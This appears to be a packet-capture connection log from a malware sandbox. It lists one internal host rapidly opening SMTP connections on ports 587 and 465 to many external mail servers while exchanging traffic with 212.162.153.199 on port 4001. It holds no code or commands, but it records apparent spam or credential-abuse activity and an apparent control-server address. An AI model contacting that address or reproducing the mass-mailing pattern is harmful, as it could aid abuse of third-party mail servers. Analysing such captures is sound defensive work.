May 19, 2024 17:27:42.745228052 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:42.745640993 CEST	49913	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:42.745760918 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.745834112 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:42.746442080 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:42.755441904 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:42.757149935 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:42.758089066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.762128115 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:42.762353897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.762402058 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:42.766895056 CEST	587	49913	104.18.2.81	192.168.2.4
May 19, 2024 17:27:42.766926050 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.766956091 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:42.766983032 CEST	49913	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:42.766988993 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:42.767041922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.767074108 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:42.767098904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.771044970 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:42.771658897 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.771774054 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:42.771955967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.771985054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.772021055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.772315979 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:42.772382975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.772406101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.776729107 CEST	49916	587	192.168.2.4	15.197.142.173
May 19, 2024 17:27:42.776858091 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:42.781397104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.781452894 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:42.781730890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.785959005 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.785995960 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:42.786026001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.786075115 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:42.786113977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.792036057 CEST	587	49916	15.197.142.173	192.168.2.4
May 19, 2024 17:27:42.792068005 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:42.792104006 CEST	49916	587	192.168.2.4	15.197.142.173
May 19, 2024 17:27:42.792138100 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:42.792159081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.792193890 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.797368050 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.802290916 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:42.802536011 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.807250977 CEST	587	49835	142.93.237.125	192.168.2.4
May 19, 2024 17:27:42.807358980 CEST	49835	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.807393074 CEST	49835	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.807420969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.817922115 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:42.833538055 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:42.847376108 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.847470045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.852077961 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:42.852238894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.856827974 CEST	587	49835	142.93.237.125	192.168.2.4
May 19, 2024 17:27:42.860532045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.860563993 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.860682964 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:42.861490011 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:42.862299919 CEST	49918	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:42.862586975 CEST	49919	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:42.862937927 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.863073111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.863073111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.867660999 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.867727995 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.867782116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.867782116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.872447968 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.872482061 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.872544050 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.872628927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.877255917 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:42.877286911 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:42.877320051 CEST	587	49918	194.153.145.104	192.168.2.4
May 19, 2024 17:27:42.877351999 CEST	587	49919	120.50.131.112	192.168.2.4
May 19, 2024 17:27:42.877381086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.877393961 CEST	49918	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:42.877410889 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:42.877418041 CEST	49919	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:42.877492905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.877522945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.877546072 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.877645016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.877676964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.882023096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.882050991 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.882081032 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:42.882174969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.882292032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.882325888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.886961937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.886991024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.891485929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.896043062 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.896043062 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:42.896265984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.901181936 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.927443981 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:42.927454948 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:42.933276892 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:42.943552017 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:42.944318056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.948245049 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:42.948502064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.953114986 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:42.953147888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.953195095 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:42.953351021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.953459024 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:42.953568935 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:42.953656912 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:42.954916000 CEST	49921	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:42.955312967 CEST	49922	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:42.955915928 CEST	49923	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:42.956243038 CEST	49924	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.957834959 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:42.958026886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.962656021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.967389107 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:42.967417955 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:42.967446089 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.967474937 CEST	587	49921	193.201.172.98	192.168.2.4
May 19, 2024 17:27:42.967504978 CEST	587	49922	90.161.91.233	192.168.2.4
May 19, 2024 17:27:42.967533112 CEST	587	49923	199.85.66.2	192.168.2.4
May 19, 2024 17:27:42.967562914 CEST	587	49924	142.93.237.125	192.168.2.4
May 19, 2024 17:27:42.967571020 CEST	49921	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:42.967592955 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:42.967600107 CEST	49923	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:42.967602015 CEST	49922	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:42.967621088 CEST	49924	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.967703104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.967730999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.967812061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.967839003 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.967875957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.972527027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.972556114 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:42.972635031 CEST	587	49846	142.93.237.125	192.168.2.4
May 19, 2024 17:27:42.972716093 CEST	49846	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.972721100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.972780943 CEST	49846	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:42.972877026 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.977324009 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:42.977514029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.982064009 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.986810923 CEST	587	49846	142.93.237.125	192.168.2.4
May 19, 2024 17:27:42.986839056 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:42.989823103 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:42.989830017 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:42.994853020 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:42.994952917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:42.999607086 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:42.999799013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.005537033 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:43.005541086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.021032095 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:43.021147013 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:43.021177053 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:43.022903919 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:43.036860943 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:43.054423094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.055408001 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:43.059324026 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:43.062386036 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:43.064450979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.069766998 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:43.069915056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.074542046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.074896097 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.075236082 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:43.075654030 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:43.075882912 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:43.079334974 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.084352970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.089154005 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:43.089184046 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:43.089212894 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:43.114897013 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:43.134265900 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.134269953 CEST	49926	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:43.134361029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.134465933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.134497881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.139786959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.139816046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.140300035 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:43.143224001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.145581007 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.145658016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.149817944 CEST	587	49926	194.153.145.104	192.168.2.4
May 19, 2024 17:27:43.149852037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.149985075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.150026083 CEST	49926	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:43.154650927 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.154697895 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:43.155657053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.159306049 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.159337997 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:43.161189079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.164009094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.164038897 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:43.165304899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.168759108 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.173494101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.177295923 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:43.182149887 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.195240974 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:43.196866035 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:43.201322079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.201322079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.208549023 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:43.208662033 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:43.227396011 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.227724075 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:43.227746010 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:43.227790117 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:43.231627941 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:43.232023001 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:43.232254028 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:43.232316017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.237287998 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:43.242011070 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.242041111 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:43.242069006 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:43.242096901 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.271078110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.278954983 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.279064894 CEST	587	49753	81.7.169.213	192.168.2.4
May 19, 2024 17:27:43.279175043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.279243946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.279278994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.279357910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.279423952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.285675049 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.292145967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.295041084 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.295073986 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:43.295205116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.295205116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.298228025 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:43.298376083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.298376083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.298425913 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:43.304577112 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:43.304610014 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:43.304665089 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:43.304738045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.309664965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.309694052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.309721947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.309750080 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.333693981 CEST	49753	587	192.168.2.4	81.7.169.213
May 19, 2024 17:27:43.343419075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.343453884 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:43.343481064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.343509912 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:43.343538046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.343596935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.343631029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.343689919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.343936920 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:43.343981981 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:43.345035076 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:43.345159054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.345159054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.348500967 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:43.348617077 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:43.348623991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.348623991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.349901915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.349972963 CEST	49829	587	192.168.2.4	103.11.85.79
May 19, 2024 17:27:43.352149963 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:43.352186918 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:43.352267981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.352267981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.352332115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.352370977 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:43.358664036 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:43.358695030 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:43.358724117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.358751059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.365196943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.365226030 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.365256071 CEST	587	49829	103.11.85.79	192.168.2.4
May 19, 2024 17:27:43.366214037 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.366357088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.366357088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.366383076 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.366399050 CEST	49829	587	192.168.2.4	103.11.85.79
May 19, 2024 17:27:43.366413116 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.366549969 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:43.369745016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.372855902 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.372891903 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.372906923 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:43.372920036 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.372988939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.379682064 CEST	587	49862	193.201.172.98	192.168.2.4
May 19, 2024 17:27:43.379713058 CEST	465	49884	147.182.160.18	192.168.2.4
May 19, 2024 17:27:43.379740953 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.379770041 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:43.379776001 CEST	49862	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:43.379776001 CEST	49884	465	192.168.2.4	147.182.160.18
May 19, 2024 17:27:43.379844904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.379858017 CEST	49884	465	192.168.2.4	147.182.160.18
May 19, 2024 17:27:43.379879951 CEST	49862	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:43.379949093 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.379987001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.396179914 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:43.396931887 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:43.427314997 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:43.427314043 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:43.427704096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.427735090 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.427763939 CEST	587	49867	142.93.237.125	192.168.2.4
May 19, 2024 17:27:43.427792072 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:43.427850008 CEST	49867	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:43.427913904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.428075075 CEST	49867	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:43.428138018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.428543091 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.428576946 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.428668976 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.428668976 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.428709030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.428792000 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:43.430464029 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.430496931 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.430591106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.430591106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.430608034 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:43.430644035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.438730001 CEST	465	49884	147.182.160.18	192.168.2.4
May 19, 2024 17:27:43.438759089 CEST	587	49862	193.201.172.98	192.168.2.4
May 19, 2024 17:27:43.438786030 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.439250946 CEST	49927	465	192.168.2.4	199.59.243.225
May 19, 2024 17:27:43.445382118 CEST	587	49867	142.93.237.125	192.168.2.4
May 19, 2024 17:27:43.445415020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.445442915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.445472002 CEST	587	49865	187.108.195.38	192.168.2.4
May 19, 2024 17:27:43.445561886 CEST	49734	4001	192.168.2.4	212.162.153.199
